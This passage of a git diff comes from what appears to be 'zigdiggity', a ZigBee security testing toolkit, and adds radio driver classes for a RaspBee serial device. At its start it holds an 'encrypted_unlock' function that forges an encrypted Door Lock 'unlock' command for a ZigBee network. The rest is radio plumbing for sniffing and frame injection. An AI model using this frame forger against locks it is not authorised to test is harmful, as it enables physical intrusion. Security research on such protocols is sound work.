scapy.layers.zigbee import * + +def encrypted_unlock(panid, source, destination, extended_source, key, frame_counter=0, seq_num=0, nwk_seq_num=0, aps_counter=0, zcl_seq_num=0): + + panid = pan(panid) + source = address(source) + destination = address(destination) + extended_source = extended_address(extended_source) + + extended_source_bytes = extended_address_bytes(extended_source) + + aps_payload = ZigbeeAppDataPayload() + aps_payload.aps_frametype=0 + aps_payload.deliver_mode=2 + aps_payload.frame_control=4 + aps_payload.cluster=0x0101 + aps_payload.profile=0x0104 + aps_payload.dst_endpoint=0xff # Broadcast + aps_payload.src_endpoint=1 + aps_payload.counter=aps_counter + + zcl = ZigbeeClusterLibrary() + zcl.zcl_frametype=1 + zcl.transaction_sequence=zcl_seq_num + zcl.command_identifier=1 + + payload = aps_payload / zcl + + dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination) + nwk = nwk_stub(source, destination, nwk_seq_num) + security_header = security_header_stub(extended_source, frame_counter) + unencrypted_frame_part = dot15d4_data / nwk / security_header + + return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part, bytes(payload), extended_source_bytes) diff --git a/zigdiggity/radios/__init__.py b/zigdiggity/radios/__init__.py new file mode 100755 index 0000000..e69de29 diff --git a/zigdiggity/radios/observer_radio.py b/zigdiggity/radios/observer_radio.py new file mode 100755 index 0000000..f68daa3 --- /dev/null +++ b/zigdiggity/radios/observer_radio.py @@ -0,0 +1,104 @@ +from zigdiggity.radios.radio import Radio +from zigdiggity.observers.observer import Observer + +class ObserverRadio(Radio): + + def __init__(self, radio): + self.radio = radio + + self.receive_observers = [] + self.send_observers = [] + self.loaded_frame = [] + + def set_channel(self, channel): + self.radio.set_channel(channel) + + def get_channel(self): + return self.radio.get_channel() + + def off(self): + self.radio.off() + + def receive(self): + frame = self.radio.receive() + channel = self.radio.channel + if frame is not None: + self.notify_observers(self.receive_observers, channel, frame) + return frame + + def receive_and_ack(self, panid=0x0000, addr=0x0000): + frame = self.radio.receive_and_ack(panid=panid, addr=addr) + channel = self.radio.channel + if frame is not None: + self.notify_observers(self.receive_observers, channel, frame) + return frame + + def send(self, frame): + channel = self.radio.channel + if frame is not None: + self.notify_observers(self.send_observers, channel, frame) + self.radio.send(frame) + + def send_and_retry(self, frame): + channel = self.radio.channel + if frame is not None: + self.notify_observers(self.send_observers, channel, frame) + self.radio.send(frame) + + def load_frame(self, frame): + self.loaded_frame = frame + self.radio.load_frame(frame) + + def fire_frame(self): + self.radio.fire_frame() + channel = self.radio.channel + if self.loaded_frame is not None: + self.notify_observers(self.send_observers, channel, self.loaded_frame) + + def fire_and_retry(self): + self.radio.fire_and_retry() + channel = self.radio.channel + if self.loaded_frame is not None: + self.notify_observers(self.send_observers, channel, self.loaded_frame) + + def receive_with_metadata(self): + result = self.radio.receive_with_metadata() + channel = self.radio.channel + if result is not None: + self.notify_observers(self.receive_observers, channel, result["frame"]) + return result + + def notify_observers(self, observers, channel, frame): + for observer in observers: + observer.notify(channel, frame) + + def add_receive_observer(self, observer): + if isinstance(observer, Observer): + self.receive_observers.append(observer) + + def add_send_observer(self, observer): + if isinstance(observer, Observer): + self.send_observers.append(observer) + + def add_observer(self, observer): + if isinstance(observer, Observer): + self.receive_observers.append(observer) + self.send_observers.append(observer) + + def avg_send(self): + return self.radio.avg_send + + def avg_recv(self): + return self.radio.avg_recv + + def avg_sniff_change(self): + return self.radio.avg_sniff_change + + def add_send_time(self, seconds): + self.radio.add_send_time(seconds) + + def add_recv_time(self, seconds): + self.radio.add_recv_time(seconds) + + def add_sniff_change_time(self, seconds): + self.radio.add_sniff_change_time(seconds) diff --git a/zigdiggity/radios/radio.py b/zigdiggity/radios/radio.py new file mode 100755 index 0000000..47e6873 --- /dev/null +++ b/zigdiggity/radios/radio.py @@ -0,0 +1,59 @@ +class Radio(): + + channel = 0 + + # Statistics for the radio + total_send_time = 0 + send_count = 0 + total_recv_time = 0 + recv_count = 0 + total_sniff_change_time = 0 + sniff_change_count = 0 + + def set_channel(self, channel): + pass + + def get_channel(self): + return self.channel + + def receive(self): + pass + + def receive_and_ack(self): + pass + + def send(self, packet): + pass + + def send_and_retry(self, packet): + pass + + def sniffer(self, sniffer_on): + pass + + def close(self): + pass + + def avg_send(self): + if self.send_count == 0: return 0 + return self.total_send_time / self.send_count + + def avg_recv(self): + if self.recv_count == 0: return 0 + return self.total_recv_time / self.recv_count + + def avg_sniff_change(self): + if self.sniff_change_count == 0: return 0 + return self.total_sniff_change_time / self.sniff_change_count + + def add_send_time(self, seconds): + self.total_send_time += seconds + self.send_count += 1 + + def add_recv_time(self, seconds): + self.total_recv_time += seconds + self.recv_count += 1 + + def add_sniff_change_time(self, seconds): + self.total_sniff_change_time += seconds + self.sniff_change_count += 1 diff --git a/zigdiggity/radios/raspbee_radio.py b/zigdiggity/radios/raspbee_radio.py new file mode 100755 index 0000000..d4406e5 --- /dev/null +++ b/zigdiggity/radios/raspbee_radio.py @@ -0,0 +1,203 @@ +import serial +import struct +import sys +import time +from zigdiggity.radios.radio import Radio +from scapy.layers.dot15d4 import Dot15d4FCS, conf + +conf.dot15d4_protocol = 'zigbee' + +CMD_OFF = 0x30 +CMD_RX = 0x31 +CMD_TX = 0x32 +CMD_RX_AACK = 0x33 +CMD_TX_ARET = 0x34 +CMD_SET_CHANNEL = 0x35 +CMD_LOAD_FRAME = 0x36 +CMD_FIRE_FRAME = 0x37 +CMD_FIRE_ARET = 0x38 +CMD_RX_WMETADATA = 0x39 +DEFAULT_BAUD_RATE = 38400 + +STATE_OFF = 0x00 +STATE_RX = 0x01 +STATE_TX = 0x02 +STATE_RX_AACK = 0x03 +STATE_TX_ARET = 0x04 +STATE_ON = 0x05 +STATE_RX_WMETADATA = 0x06 + +class RaspbeeRadio(Radio): + + def __init__(self, device): + self.device = device + self.state = STATE_OFF + self.serial = serial.Serial(self.device, DEFAULT_BAUD_RATE, timeout=1, inter_byte_timeout=0.5) + self.serial.write(bytearray(struct.pack("B", CMD_OFF))) + self.serial.flush() + + def set_channel(self, channel): + if (11 <= channel <= 26): + set_channel_packet = bytearray(struct.pack("BB",CMD_SET_CHANNEL,channel)) + self.serial.write(set_channel_packet) + self.serial.flush() + self.channel = channel + + def on(self): + pass + + def off(self): + self.serial.write(bytearray(struct.pack("B", CMD_OFF))) + self.serial.flush() + self.serial.close() + + def receive(self): + if self.state != STATE_RX: + self.serial.write(bytearray(struct.pack("B",CMD_RX))) + self.serial.flush() + self.state = STATE_RX + return self._process_receive() + + def receive_and_ack(self, panid=0x1337, addr=0x0000): + if self.state != STATE_RX_AACK: + self.serial.write(struct.pack("B",CMD_RX_AACK) + struct.pack("HH",panid,addr)) + self.serial.flush() + self.state = STATE_RX_AACK + return self._process_receive() + + def _process_receive(self): + try: + length = self.serial.read() + print("receiving {0}".format(len(length))) + if len(length) > 0: + # intLength = int.from_bytes(length, "big") + #length_bytes = bytes(str(length).encode('utf-8')) + if (len(length) == 1): + intLength = ord(length) + else: + intLength = struct.unpack('>i', length)[0] + + if intLength > 127: + if intLength == 0xff: + next_byte = self.serial.read() + if len(next_byte) > 0: + if (len(next_byte) == 1): + # next_length = int.from_bytes(next_byte, "big") + next_length = ord(next_byte) + else: + # next_length = int.from_bytes(next_byte, "big") + next_length = struct.unpack('>i', next_byte)[0] + print("BBB Reading: {0} bytes".format(next_length)) + message = self.serial.read(next_length) + print("BBB Got: {0} bytes".format(len(message))) + print("DEBUG: " + str(message)) + return None + elif intLength == 0xf0: + rssi = self.serial.read() + next_length = self.serial.read() + # next_length_int = int.from_bytes(next_length, "big") + if (len(next_length) == 1): + # next_length = int.from_bytes(next_byte, "big") + next_length_int = ord(next_length) + else: + # next_length = int.from_bytes(next_byte, "big") + next_length_int = struct.unpack('>i', next_length)[0] + if next_length_int < 3: + print("too short") + return None + print("CCC Reading: {0} bytes".format(next_length_int)) + packet = self.serial.read(next_length_int) + print("CCC Got: {0} bytes".format(len(packet))) + if len(packet) != next_length_int: + # Receive timeout occurred - discard. + print("incomplete packet 111") + return None + + if STATE_RX_WMETADATA: + print("RSSI = {0}".format(rssi)) + result = dict() + result["rssi"]=rssi + result["frame"]=Dot15d4FCS(packet) + return result + else: + print("unexpected state 111") + return None + print("unexpected length: {0}".format(intLength)) + return None + + recv_start = time.time() + print("AAA Reading: {0} bytes".format(intLength)) + packet = self.serial.read(intLength) + print("AAA Got: {0} bytes".format(len(packet))) + recv_end = time.time() + self.add_recv_time(recv_end - recv_start) + + if len(packet) != intLength or intLength < 5: + # Receive timeout occurred, or bad data - discard. + print("incomplete packet 222") + return None + + if self.state==STATE_RX_WMETADATA: + print("unexpected state 222") + return None + + try: + print("Creating Dot154d4 Packet") + pkt = Dot15d4FCS(packet) + return pkt + except Exception as e: + print("Failed to decode packet: {0}".format(e), file=sys.stderr) + return None + else: + return None + except serial.serialutil.SerialException as se: + #traceback.print_exc(file=sys.stdout) + return None + + def send(self, packet): + if not Dot15d4FCS in packet: + packet = packet + b'00' + + send_start = time.time() + self.serial.write(struct.pack("BB", CMD_TX, len(packet)) + bytes(packet)) + self.serial.flush() + send_end = time.time() + self.add_send_time(send_end - send_start) + + self.state = STATE_TX + + def send_and_retry(self, packet): + if not Dot15d4FCS in packet: + packet = packet + b'00' + + send_start = time.time() + self.serial.write(struct.pack("BB", CMD_TX_ARET, len(packet)) + bytes(packet)) + self.serial.flush() + send_end = time.time() + self.add_send_time(send_end - send_start) + + self.state = STATE_TX_ARET + + def load_frame(self, packet): + if not Dot15d4FCS in packet: + packet = packet + b'00' + + self.serial.write(struct.pack("BB", CMD_LOAD_FRAME, len(packet)) + bytes(packet)) + self.serial.flush() + + def fire_frame(self): + self.serial.write(struct.pack("B", CMD_FIRE_FRAME)) + self.serial.flush() + self.state = STATE_TX + + def fire_and_retry(self): + self.serial.write(struct.pack("B", CMD_FIRE_ARET)) + self.serial.flush() + self.state = STATE_TX_ARET + + def receive_with_metadata(self): + if self.state != STATE_RX_WMETADATA: + self.serial.write(bytearray(struct.pack("B",CMD_RX_WMETADATA))) + self.serial.flush() + self.state = STATE_RX_WMETADATA + return self._process_receive()